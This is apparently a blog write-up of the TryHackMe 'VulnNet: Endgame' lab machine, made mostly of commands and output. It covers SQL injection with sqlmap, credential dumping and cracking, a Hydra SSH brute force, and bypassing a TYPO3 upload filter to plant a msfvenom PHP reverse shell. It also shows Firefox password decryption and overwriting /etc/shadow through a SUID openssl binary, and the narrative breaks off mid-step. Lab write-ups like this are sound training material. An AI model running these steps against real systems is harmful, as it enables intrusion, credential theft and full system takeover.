TryHackMe - VulnNet: Endgame
I went into this one with the goal of practicing some persistence techniques, but it wound up taking me a long time so I just completed it. The next post I do will setup a test environment to play with some tools out there.
Quick Walk Through
Initial Foothold
- Preform
rustscan
ornmap
and discover there is a web server curl $TARGET
- Set the required domain as a hosts file entry on your system
cat "$TARGET vulnnet.thm" >> /etc/hosts
- Make the connection that if it must be accessed from a TLD, there are probably Subdomains
- Use
wfuzz
to enumerate subdomainswfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://vulnnet.thm" -H "Host: FUZZ.vulnnet.thm"
- Enumerate the blog subdomain with burpsuite, notice there is a custom API request
- Use
sqlmap
with the API request to find an SQL Injectionsqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 --tables
- Dump a table of username/password combinations, this will be useful later:
sqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 -D blog -T users --dump
- Obtain a hash for
chris_w
user, which you should remember as the posting admin user on the blogsqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 -D vn_admin -T be_users -C password,username --dump
- Convert the username/password list from the first sql injection dump to a useful format for
john
like thisawk -F "\"*,\"*" '{print $2}' users.csv > passwords.lst
- Save the password hash from the second sql injection dump to
argon2.hash
- Crack with john
john --wordlist=passwords.lst argon2.hash
- Use this credential pair to login to
admin1.vulnnet.thm/typo3
- Generate a PHP reverse shell with
msfvenom -p php/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=8080 -f raw -o shell.php
- On the admin portal, go to Settings -> Configure Installation Wide Options
- Search for
upload
, edit the deny filter to remove any reference of PHP - Go to Files and upload your webshell to root directory
- Start a listener on your host:
nc -nvlp 8080
- Navgiate to
admin1.vulnnet.thm/fileadmin/shell.php
- Go back to your listener, you should have a shell!
Privilege Escalation to User
- Notice you can read /home/system
- Notice there is a firefox directory there you can read
- Clone firefox decrypt onto your system
- Compress the tool
zip -r fd.zip firefox_decrypt
- host it on your system
python -m http.sever
- Download it on target
wget YOUR_IP:8000/fd.zip
- Extract it
unzip fd.zip
- Execute it against the firefox profile
cd firefox_decrypt && python3 firefox_decrypt.py /home/system/.mozilla/firefox//2fjnrwth.default-release
- With the password you received, ssh into the system as
system
Privilege Escalation to Root
- Notice SUID binaries are present at
/home/system/Utils
openssl
is SUID and is present- Generate the password for
password
:perl -e 'print crypt("password","\$6\$saltsalt\$") . "\n"'
- Read and copy the contents of
/etc/shadow
to tmp:./openssl enc -in "/etc/shadow" > /tmp/t
- Edit the password hash of root to be the one you generated
- Write the file back:
cat /tmp/t | ./openssl enc -out "/etc/shadow"
- Login as root with password password
su root
Write Up
Initial Enumeration
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Real hackers hack time ⌛
[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.177.247:22
Open 10.10.177.247:80
Add hosts entry for the domain...
settarget vulnnet.thm
nikto --host $TARGET --port 80
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.177.247
+ Target Hostname: vulnnet.thm
+ Target Port: 80
+ Start Time: 2022-11-11 02:37:34 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 10fa, size: 5e07a2716f080, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
python ssh-audit.py $TARGET
# general
(gen) banner: SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.7
(gen) software: OpenSSH 7.6p1
(gen) compatibility: OpenSSH 7.4+, Dropbear SSH 2018.76+
(gen) compression: enabled (zlib@openssh.com)
# security
(cve) CVE-2021-41617 -- (CVSSv2: 7.0) privilege escalation via supplemental groups
(cve) CVE-2020-15778 -- (CVSSv2: 7.8) command injection via anomalous argument transfers
(cve) CVE-2018-15919 -- (CVSSv2: 5.3) username enumeration via GS2
(cve) CVE-2018-15473 -- (CVSSv2: 5.3) enumerate usernames due to timing discrepancies
(cve) CVE-2016-20012 -- (CVSSv2: 5.3) enumerate usernames via challenge response
Fuzz for subdomains:
wfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://vulnnet.thm" -H "Host: FUZZ.vulnnet.thm"
...
000000310: 200 1 L 9 W 65 Ch "gate"
000000333: 200 1 L 9 W 65 Ch "time"
Filter out 9W responses:
wfuzz -c -f sub-fighter -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://vulnnet.thm" -H "Host: FUZZ.vulnnet.thm" --hw 9
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://vulnnet.thm/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000018: 200 390 L 1599 W 19316 Ch "blog"
000000051: 200 0 L 4 W 18 Ch "api"
000000037: 200 524 L 1406 W 26701 Ch "shop"
000000689: 400 10 L 35 W 301 Ch "gc._msdcs"
000001219: 307 0 L 0 W 0 Ch "admin1"
Total time: 45.39799
Processed Requests: 4989
Filtered Requests: 4984
Requests/sec.: 109.8947
# An input that actually does some sort of query! Email sub on Shop
http://shop.vulnnet.thm/about.html?Enter+your+email=emailinput
# I Ran SQLMap to no avail
curl http://admin1.vulnnet.thm/en/
vulnnet management panel is up!
curl http://api.vulnnet.thm
VulnNet API is up!
Dirb has produced some results for me on the admin1 subdomain:
GENERATED WORDS: 4612
---- Scanning URL: http://admin1.vulnnet.thm/ ----
==> DIRECTORY: http://admin1.vulnnet.thm/en/
==> DIRECTORY: http://admin1.vulnnet.thm/fileadmin/
+ http://admin1.vulnnet.thm/server-status (CODE:403 SIZE:283)
==> DIRECTORY: http://admin1.vulnnet.thm/typo3/
==> DIRECTORY: http://admin1.vulnnet.thm/typo3conf/
==> DIRECTORY: http://admin1.vulnnet.thm/typo3temp/
==> DIRECTORY: http://admin1.vulnnet.thm/vendor/
Oh boy, I know there's a bunch of vulnerabilities for typo3! We can access those other directories too which contain site configuration files, that we can read! These were all dead ends as far as I can tell. I continued exploring around, paying closer attention to requests firing off in Burp. I noticed when loading a blog on the blog subdomain, there's a request to the api subdomain! Maybe SQLMap can save us this time?
sqlmap --wizard -v
___
__H__
___ ___[)]_____ ___ ___ {1.6.7#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 10:59:38 /2022-11-11/
[10:59:38] [INFO] starting wizard interface
Please enter full target URL (-u): http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1
POST data (--data) [Enter for None]:
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 1
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
> 1
sqlmap is running, please wait..
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:
---
Parameter: blog (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: blog=1 AND 3645=3645
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blog=1 AND (SELECT 8743 FROM (SELECT(SLEEP(5)))BXQH)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: blog=-8193 UNION ALL SELECT NULL,NULL,CONCAT(0x716a786b71,0x6e575752686e75617a50646f45414f52766376494359577452736d49776
---
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12
banner: '5.7.38-0ubuntu0.18.04.1'
current user: 'dbadmin@localhost'
current database: 'blog'
current user is DBA: False
[*] ending @ 11:00:17 /2022-11-11/
Hey there we go! Now let's enumerate this thing.
SQL Injection
$ sqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 --tables
...
Database: information_schema
[61 tables]
+---------------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| INNODB_BUFFER_PAGE |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_BUFFER_POOL_STATS |
| INNODB_CMP |
| INNODB_CMPMEM |
| INNODB_CMPMEM_RESET |
| INNODB_CMP_PER_INDEX |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_CMP_RESET |
| INNODB_FT_BEING_DELETED |
| INNODB_FT_CONFIG |
| INNODB_FT_DEFAULT_STOPWORD |
| INNODB_FT_DELETED |
| INNODB_FT_INDEX_CACHE |
| INNODB_FT_INDEX_TABLE |
| INNODB_LOCKS |
| INNODB_LOCK_WAITS |
| INNODB_METRICS |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_DATAFILES |
| INNODB_SYS_FIELDS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_SYS_INDEXES |
| INNODB_SYS_TABLES |
| INNODB_SYS_TABLESPACES |
| INNODB_SYS_TABLESTATS |
| INNODB_SYS_VIRTUAL |
| INNODB_TEMP_TABLE_INFO |
| INNODB_TRX |
| KEY_COLUMN_USAGE |
| OPTIMIZER_TRACE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------------+
Database: blog
[4 tables]
+---------------------------------------------+
| blog_posts |
| details |
| metadata |
| users |
+---------------------------------------------+
Database: vn_admin
[48 tables]
+---------------------------------------------+
| backend_layout |
| be_dashboards |
| be_groups |
| be_sessions |
| be_users |
| cache_adminpanel_requestcache |
| cache_adminpanel_requestcache_tags |
| cache_hash |
| cache_hash_tags |
| cache_imagesizes |
| cache_imagesizes_tags |
| cache_pages |
| cache_pages_tags |
| cache_pagesection |
| cache_pagesection_tags |
| cache_rootline |
| cache_rootline_tags |
| cache_treelist |
| fe_groups |
| fe_sessions |
| fe_users |
| pages |
| sys_be_shortcuts |
| sys_category |
| sys_category_record_mm |
| sys_collection |
| sys_collection_entries |
| sys_file |
| sys_file_collection |
| sys_file_metadata |
| sys_file_processedfile |
| sys_file_reference |
| sys_file_storage |
| sys_filemounts |
| sys_history |
| sys_language |
| sys_lockedrecords |
| sys_log |
| sys_news |
| sys_note |
| sys_redirect |
| sys_refindex |
| sys_registry |
| sys_template |
| tt_content |
| tx_extensionmanager_domain_model_extension |
| tx_extensionmanager_domain_model_repository |
| tx_impexp_presets |
+---------------------------------------------+
sqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 -D blog -T users --dump
Database: blog
Table: users
[651 entries]
+-----+---------------------+--------------------+
| id | password | username |
+-----+---------------------+--------------------+
[11:09:52] [WARNING] console output will be trimmed to last 256 rows due to large table size
| 396 | D8Gbl8mnxg | lspikinsaz |
| 397 | kLLxorKfd | profeb0 |
...
[11:09:52] [INFO] table 'blog.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/api.vulnnet.thm/dump/blog/users.csv'
[11:09:52] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/api.vulnnet.thm'
[*] ending @ 11:09:52 /2022-11-11/
Awesome 651 username|password combinations. Let's search through and see if the admin is in there.
cat /home/kali/.local/share/sqlmap/output/api.vulnnet.thm/dump/blog/users.csv | grep admin
It so happens that SSH allows password authentication, so I'm going to take this list and try them all for ssh logins. I formatted the user dump into a user:pass txt file for Hydra: And kicked off hydra to go try all of these wile I do dishes:
hydra -v -V -u -C userpass.txt -t 1 -u vulnnet.thm -I ssh
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-11-11 11:26:38
[DATA] max 1 task per 1 server, overall 1 task, 653 login tries, ~653 tries per task
[DATA] attacking ssh://vulnnet.thm:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://username@10.10.134.107:22
[INFO] Successful, password authentication is supported by ssh://10.10.134.107:22
[ATTEMPT] target vulnnet.thm - login "username" - pass "password" - 1 of 653 [child 0] (0/0)
[ATTEMPT] target vulnnet.thm - login "ggolt0" - pass "d5aa4AsdO" - 2 of 653 [child 0] (0/0)
[ATTEMPT] target vulnnet.thm - login "rcuddehay1" - pass "HCeByMT" - 3 of 653 [child 0] (0/0)
[ATTEMPT] target vulnnet.thm - login "anowlan2" - pass "YffkBZ" - 4 of 653 [child 0] (0/0)
...
While that runs...
sqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 -D vn_admin -T fe_users --dump
... empty ...
sqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 -D vn_admin -T sys_log --dump
Table: sys_log
[2 entries]
+-----+-----+---------+--------+--------+--------+-----------+------------+------------+------+------+-------+------------+---------+--------------------------------------------------------+---------+----------+-------------------------------+-----------+-----------+-----------+------------+------------+
| pid | uid | NEWid | recpid | recuid | userid | event_pid | request_id | IP | data | type | error | tstamp | level | details | message | action | log_data | component | tablename | workspace | details_nr | time_micro |
+-----+-----+---------+--------+--------+--------+-----------+------------+------------+------+------+-------+------------+---------+--------------------------------------------------------+---------+----------+-------------------------------+-----------+-----------+-----------+------------+------------+
| 0 | 1 | <blank> | 0 | 0 | 1 | -1 | <blank> | 127.0.0.1 | NULL | 255 | 0 | 1655226810 | 0 | User %s logged in from ###IP### | NULL | 1 | a:1:{i:0;s:7:\\"chris_w\\";} | <blank> | <blank> | -99 | 1 | 0 |
| 0 | 2 | <blank> | 0 | 0 | 0 | -1 | <blank> | 10.6.13.47 | NULL | 255 | 3 | 1668184266 | 0 | Login-attempt from ###IP###, username '%s' not found!! | NULL | 3 | a:1:{i:0;s:8:\\"eelven17\\";} | <blank> | <blank> | -99 | 2 | 0 |
+-----+-----+---------+--------+--------+--------+-----------+------------+------------+------+------+-------+------------+---------+--------------------------------------------------------+---------+----------+-------------------------------+-----------+-----------+-----------+------------+------------+
There happens to be a password in the dump for this eelven17
. No dice over SSH. It also didn't work for typo3.
sqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 -D vn_admin -T be_users --dump
This contained one row, with a TON of whitespace, and one big Base64 looking blob in the middle. The blob was quite large, so I didn't put it here. It took me a while to notice that it was actually a bunch of base64 strings separated by |
's, obviously one for each column. The values are also actually all the same, 34 entries of it.
base64:type251:MXZtbHRhbXZtbHRhbTB2bWx0YW0xNjU1MjI2Nzg5dm1sdGFtMHZtbHRhbTB2bWx0YW0wdm1sdGFt\nMHZtbHRhbTB2bWx0YW1jaHJpc193QHZ1bG5uZXQudGhtdm1sdGFtMHZtbHRhbXZtbHRhbTE2NTUy\nMjY4MTB2bWx0YW12bWx0YW0wdm1sdGFtJGFyZ29uMmkkdj0xOSRtPTY1NTM2LHQ9MTYscD0yJFVu\nbFZTRWd5TVVGblluSlhOWGxYZGckajZ6M0lzaG1qc04rQ3doY2lSRUNWMk5BclF3aXBxUU1JQnRZ\ndWZ5TTRSZ3ZtbHRhbTB2bWx0YW12bWx0YW0wdm1sdGFtMTY1NTIyNjc4OXZtbHRhbWE6MTQ6e3M6\nMTQ6ImludGVyZmFjZVNldHVwIjtzOjc6ImJhY2tlbmQiO3M6MTA6Im1vZHVsZURhdGEiO2E6MTp7\nczozMjoid2ViX2Rhc2hib2FyZC9jdXJyZW50X2Rhc2hib2FyZC8iO3M6NDA6ImU1ZjFmOGVhN2Iz\nMGFmZTdlNDAyNGMxNWI2MDZhNmZjYjUwMWE2MzEiO31zOjE5OiJ0aHVtYm5haWxzQnlEZWZhdWx0\nIjtpOjE7czoxNDoiZW1haWxNZUF0TG9naW4iO2k6MDtzOjExOiJzdGFydE1vZHVsZSI7czoxMzoi\nd2ViX2Rhc2hib2FyZCI7czo4OiJ0aXRsZUxlbiI7aTo1MDtzOjg6ImVkaXRfUlRFIjtzOjE6IjEi\nO3M6MjA6ImVkaXRfZG9jTW9kdWxlVXBsb2FkIjtzOjE6IjEiO3M6MTU6InJlc2l6ZVRleHRhcmVh\ncyI7aToxO3M6MjU6InJlc2l6ZVRleHRhcmVhc19NYXhIZWlnaHQiO2k6NTAwO3M6MjQ6InJlc2l6\nZVRleHRhcmVhc19GbGV4aWJsZSI7aTowO3M6NDoibGFuZyI7czowOiIiO3M6MTk6ImZpcnN0TG9n\naW5UaW1lU3RhbXAiO2k6MTY1NTIyNjgxMDtzOjE1OiJtb2R1bGVTZXNzaW9uSUQiO2E6MTp7czoz\nMjoid2ViX2Rhc2hib2FyZC9jdXJyZW50X2Rhc2hib2FyZC8iO3M6MzI6Ijc3M2UwMGZiYjk2MGEw\nYmE4N2FkOGMzOWYzYzRhNjkxIjt9fXZtbHRhbTF2bWx0YW12bWx0YW1jaHJpc193dm1sdGFtMHZt\nbHRhbTE=
Stripping base64:type251
and decoding with base64:
1vmltamvmltam0vmltam1655226789vmltam0vmltam0vmltam0vmltam0vmltam0vmltamchris_w@vulnnet.thmvmltam0vmltamvmltam1655226810vmltamvmltam0vmltam$argon2i$v=19$m=65536,t=16,p=2$UnlVSEgyMUFnYnJXNXlXdg$j6z3IshmjsN+CwhciRECV2NArQwipqQMIBtYufyM4Rgvmltam0vmltamvmltam0vmltam1655226789vmltama:14:{s:14:"interfaceSetup";s:7:"backend";s:10:"moduleData";a:1:{s:32:"web_dashboard/current_dashboard/";s:40:"e5f1f8ea7b30afe7e4024c15b606a6fcb501a631";}s:19:"thumbnailsByDefault";i:1;s:14:"emailMeAtLogin";i:0;s:11:"startModule";s:13:"web_dashboard";s:8:"titleLen";i:50;s:8:"edit_RTE";s:1:"1";s:20:"edit_docModuleUpload";s:1:"1";s:15:"resizeTextareas";i:1;s:25:"resizeTextareas_MaxHeight";i:500;s:24:"resizeTextareas_Flexible";i:0;s:4:"lang";s:0:"";s:19:"firstLoginTimeStamp";i:1655226810;s:15:"moduleSessionID";a:1:{s:32:"web_dashboard/current_dashboard/";s:32:"773e00fbb960a0ba87ad8c39f3c4a691";}}vmltam1vmltamvmltamchris_wvmltam0vmltam1
This wasn't really getting me far, I can tell what I need is in there somewhere. Turns out type251
is specific to SQL. So, I should use SQLMap to try to extract column values. I figured out there is username
and password
columns, so let's extract those from the table:
sqlmap -u http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1 -D vn_admin -T be_users -C password,username --dump
___
__H__
___ ___[,]_____ ___ ___ {1.6.7#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:39:30 /2022-11-11/
[12:39:30] [INFO] resuming back-end DBMS 'mysql'
[12:39:30] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: blog (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: blog=1 AND 3645=3645
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blog=1 AND (SELECT 8743 FROM (SELECT(SLEEP(5)))BXQH)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: blog=-8193 UNION ALL SELECT NULL,NULL,CONCAT(0x716a786b71,0x6e575752686e75617a50646f45414f52766376494359577452736d4977666e5372504b78674d7574,0x716b6a7a71)-- -
---
[12:39:31] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
[12:39:31] [INFO] fetching entries of column(s) 'password,username' for table 'be_users' in database 'vn_admin'
[12:39:31] [WARNING] reflective value(s) found and filtering out
Database: vn_admin
Table: be_users
[1 entry]
+---------------------------------------------------------------------------------------------------+----------+
| password | username |
+---------------------------------------------------------------------------------------------------+----------+
| $argon2i$v=19$m=65536,t=16,p=2$UnlVSEFFFFFFFF4Rg | chris_w |
+---------------------------------------------------------------------------------------------------+----------+
[12:39:31] [INFO] table 'vn_admin.be_users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/api.vulnnet.thm/dump/vn_admin/be_users.csv'
[12:39:31] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/api.vulnnet.thm'
[*] ending @ 12:39:31 /2022-11-11/
Cracking The Password
Okay now we're getting somewhere, we now have a password hash for chris_w
. I put this into cyberchef and crackstation but no recognizations. Searching around, I found that Argon2 is the format. John
can crack these so, let's try it!
First, let's make sure john can load the hash and let it run through the default wordlist. I just put the value from password
field into pwd.argon2
:
john pwd.argon2 --pot=empty.pot
Using default input encoding: UTF-8
Loaded 1 password hash (argon2 [Blake2 AVX])
Cost 1 (t) is 16 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 2 for all loaded hashes
Cost 4 (type [0:Argon2d 1:Argon2i]) is 1 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
0g 0:00:00:49 0.36% 2/3 (ETA: 16:43:48) 0g/s 10.32p/s 10.32c/s 10.32C/s crystal..porter
0g 0:00:01:01 0.42% 2/3 (ETA: 16:57:45) 0g/s 10.39p/s 10.39c/s 10.39C/s puppy..bigben
Alright, I'm going to assume that it's not going to be a basic password. But, we already have a password dump from this server, perhaps the admin has re-used their password on a different account name on the blog! I created a password file from the csv dump from sqlmap:
awk -F "\"*,\"*" '{print $2}' users.csv > passwords.lst
Then used it with John:
john --wordlist=passwords.lst argon2.hash
Using default input encoding: UTF-8
Loaded 1 password hash (argon2 [Blake2 AVX])
Cost 1 (t) is 16 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 2 for all loaded hashes
Cost 4 (type [0:Argon2d 1:Argon2i]) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
FFFFFFFFF (?)
1g 0:00:00:11 DONE (2022-11-11 13:01) 0.08438g/s 10.80p/s 10.80c/s 10.80C/s password..Z2WgzYZCK
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Wohooo! I first tried this credential with SSH because I know it allows password authentication. It didn't work. So the logical next step is to move to the typo3 admin interface. It worked over there.
Typo3 to RCE
I explored around and found:
- Typo3 Version
10.3.0
, this rules out the exploits fromsearchsploit
- Root dir is
/var/www/admin
, default folder permissions are potentially misconfigured chris_w
is the only admin- I can upload files through here, but it appears to only allow formats that won't get us a remote shell
- I can install extensions, this is likely the path to RCE here, but I'll continue looking for something easier.
- A few CVE's -> https://www.cybersecurity-help.cz/vdb/SB2020072811 I found a typo3 web shell, however when I attempted to upload it I got this error: I can't figure out how to resolve the error, so I moved on. The next best thing to try would be to circumvent the file upload filtering mechanism. First, I'll try to upload a PHP reverse shell. Generation:
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=8080 -f raw -o shell.php
Start a listener:
$ msfconsole
msf6 > use exploit/multi/handler
set LHOST <$LOCAL_IP>
set LPORT <$LOCAL_PORT>
set PAYLOAD php/meterpreter/reverse_tcp
exploit
And now, I experiement...
I go and look for if I can override the config for the filter:
I find a variable that looks promising, but this is view-only... I read some documentation and found that you can update this through settings -> configure installation-wide options.
I updated the filter to be \.(cgi)(\..*)?$|\.pl$|^\.htaccess$
, and my upload worked!
I navigate to admin1.vulnnet.thm/fileadmin/shell.php, and the connection hangs. Back in Meterpreter, I have a shell!
Privledge Escalation
I decided to try metasploit's local exploit suggester...
But it came up dry! Whatever, I upload linpeas.sh
and run that:
Useful results:
- Vulnerable to CVE-2021-4034
- Potentially Vulnerable to CVE-2022-2588
- [CVE-2021-4034] PwnKit
- [CVE-2021-3156] sudo Baron Samedit 2
- Lots of root processes
- Running as Xen virtual machine
- Running on EC2
- A ton of writeable socket files
- Potential PE via DBUS
system
user has authentacted asroot
beforeSystem
has a directory 'Utils' some some SUID binaries we could abuse if we get their login I first went poking around manually. I discovered I could accesssystem
user's home directory, but wouldn't read their files which includeduser.txt
. So I probably need to first access this user. Checking out their home dir, this is a desktop user. I tried to auth tosystem
withchris_w
's password, but no luck there. I can't write anything, but I can read almost everything in here! I printed out all the usual things to check like history and bash profiles, checked for files everywhere in the standard user-land folders, but no dice. Everything else is standard here for a Gnome Desktop home directory, except the.mozilla
folder. I'm not sure if you could get anything from there, but here's what's in it that I found interesting.
du -a .
4 ./extensions
4 ./firefox/8mk7ix79.default-release/settings/data.safe.bin
8 ./firefox/8mk7ix79.default-release/settings
256 ./firefox/8mk7ix79.default-release/formhistory.sqlite
4 ./firefox/2fjnrwth.default-release/pkcs11.txt
4 ./firefox/2fjnrwth.default-release/bookmarkbackups/bookmarks-2022-06-11_16_Q-MXo69LzkaCMT4UPJEQ2w==.jsonlz4
8 ./firefox/2fjnrwth.default-release/bookmarkbackups
40 ./firefox/2fjnrwth.default-release/extensions.json
288 ./firefox/2fjnrwth.default-release/key4.db
4 ./firefox/2fjnrwth.default-release/logins.json
24 ./firefox/2fjnrwth.default-release/storage/default/https+++tryhackme.com
48 ./firefox/2fjnrwth.default-release/storage/default/moz-extension+++f18624c7-e895-42bc-acc9-b05dcade9636^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite
180 ./firefox/2fjnrwth.default-release/storage/default
9212 ./firefox/2fjnrwth.default-release/storage
512 ./firefox/2fjnrwth.default-release/cookies.sqlite
4 ./firefox/2fjnrwth.default-release/storage.sqlite
12 ./firefox/2fjnrwth.default-release/crashes
88 ./firefox/2fjnrwth.default-release/sessionstore-backups/previous.jsonlz4
92 ./firefox/2fjnrwth.default-release/sessionstore-backups
25844 ./firefox/2fjnrwth.default-release
4 ./firefox/profiles.ini
51412 ./firefox
51420 .
So, I wonder if we could use their cached cookies to access a service on their behalf? Could there be old passwords stored in here somewhere? I've never actaully learned about recovering useful personal data from a firefox directory, so I went and did some research. Here's from Mozilla how to backup and restore important data from a profile:
- https://support.mozilla.org/en-US/kb/back-and-restore-information-firefox-profiles
I'm certainly going to try something with this then! I kept poking around and found Firefox Decrypt which apparently can extract info from
profiles.ini
. So, I downloaded it: But the decryption didn't work. Turns out it needs more than thisprofiles.ini
file. So...
cd /tmp && zip -r moz.zip /home/system/.mozilla
exit
download /tmp/moz.zip
exit
unzip moz.zip
No dice! I hit the docs again, and realized I just needed to directly specific the profile directory.
Boom! Now I'm going to just assume this is the password for system
... even better would be if we can ssh
as that user so we have persistence.
And there we have it! As we found during enumeration, we can now probably use the SUID binaries in Utils to get root!
system@vulnnet-endgame:~$ cd Utils && ls -la
total 1104
dr-xr-x--- 2 system system 4096 Jun 14 13:24 .
drwxr-xr-x 18 system system 4096 Jun 15 17:12 ..
-r-xr-x--- 1 system system 723944 Jun 14 13:23 openssl
-r-xr-x--- 1 system system 178312 Jun 14 13:24 unzip
-r-xr-x--- 1 system system 216256 Jun 14 13:23 zip
zip
and unzip
can give read, but openssl
can give write as root!
I checked ssh config to see if we could ssh
as root
:
system@vulnnet-endgame:~/Utils$ cat /etc/ssh/ssh_config | grep Permit
# PermitLocalCommand no
Seems like we can, so we can use openssl
to write to /root/.ssh/authorized_keys
and get in nice and quick.
Apparently we can do echo DATA | openssl enc -out "file_path"
, but I wonder if we can just guess the root flag and just do a read Op to win?
... never lucky.
D='ssh-rsa AAAAFFFFFFYmk= kali@kali'
system@vulnnet-endgame:~/Utils$ echo $D | openssl enc -out "/root/.ssh/authorized_keys"
Can't open /root/.ssh/authorized_keys for writing, Permission denied
140265302499776:error:0200100D:system library:fopen:Permission denied:../crypto/bio/bss_file.c:72:fopen('/root/.ssh/authorized_keys','wb')
140265302499776:error:2006D002:BIO routines:BIO_new_file:system lib:../crypto/bio/bss_file.c:81:
Shit I bet there's no .ssh
folder in there... Well I guess I have to do the long way and write to /etc/shadow...
system@vulnnet-endgame:~/Utils$ ./openssl enc -in /etc/shadow
